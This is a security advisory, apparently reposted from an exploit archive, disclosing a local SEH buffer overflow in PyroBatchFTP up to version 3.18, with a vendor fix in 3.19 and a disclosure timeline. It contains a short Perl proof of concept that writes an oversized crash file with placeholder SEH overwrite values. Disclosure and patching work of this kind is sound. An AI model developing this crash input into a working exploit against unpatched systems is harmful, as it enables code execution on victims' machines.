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PyroBatchFTP < 3.19 - Buffer Overflow Exploit
============================================= MGC ALERT 2018-001 - Original release date: December 22, 2017 - Last revised: January 12, 2018 - Discovered by: Manuel García Cárdenas - Severity: 7,5/10 (CVSS Base Score) ============================================= I. VULNERABILITY ------------------------- PyroBatchFTP <= 3.18 - Local Buffer Overflow (SEH) II. BACKGROUND ------------------------- PyroBatchFTP is a Windows software that lets you exchange files with FTP, FTPS or SFTP servers in an automatic and unattended way, using a simple yet powerful batch/script language. III. DESCRIPTION ------------------------- The Enterprise version of PyroBatchFTP is affected by a Local Buffer Overflow vulnerability. The application does not check bounds when reading the file that will execute the script, resulting in a classic Buffer Overflow overwriting SEH handler. To exploit the vulnerability only is needed create a local script to interact with the application. IV. PROOF OF CONCEPT ------------------------- my $file= "crash.cmd"; my $junk= "A" x 2052; my $nseh = "BBBB"; my $seh = "CCCC"; open($FILE,">$file"); print $FILE $junk.$nseh.$seh; close($FILE); print "File Created successfully\n"; V. BUSINESS IMPACT ------------------------- Availability compromise can result from these attacks. VI. SYSTEMS AFFECTED ------------------------- PyroBatchFTP <= 3.18 VII. SOLUTION ------------------------- Vendor release 3.19 version http://www.emtec.com/downloads/pyrobatchftp/pyrobatchftp319_changes.txt VIII. REFERENCES ------------------------- https://www.emtec.com/pyrobatchftp/index.html IX. CREDITS ------------------------- This vulnerability has been discovered and reported by Manuel García Cárdenas (advidsec (at) gmail (dot) com). X. REVISION HISTORY ------------------------- December 22, 2017 1: Initial release January 12, 2018 2: Revision to send to lists XI. DISCLOSURE TIMELINE ------------------------- December 22, 2017 1: Vulnerability acquired by Manuel Garcia Cardenas December 22, 2017 2: Send to vendor January 12, 2018 3: Vendor fix the vulnerability and release a new version January 12, 2018 4: Send to the Full-Disclosure lists XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. XIII. ABOUT ------------------------- Manuel Garcia Cardenas Pentester # 0day.today [2024-09-28] #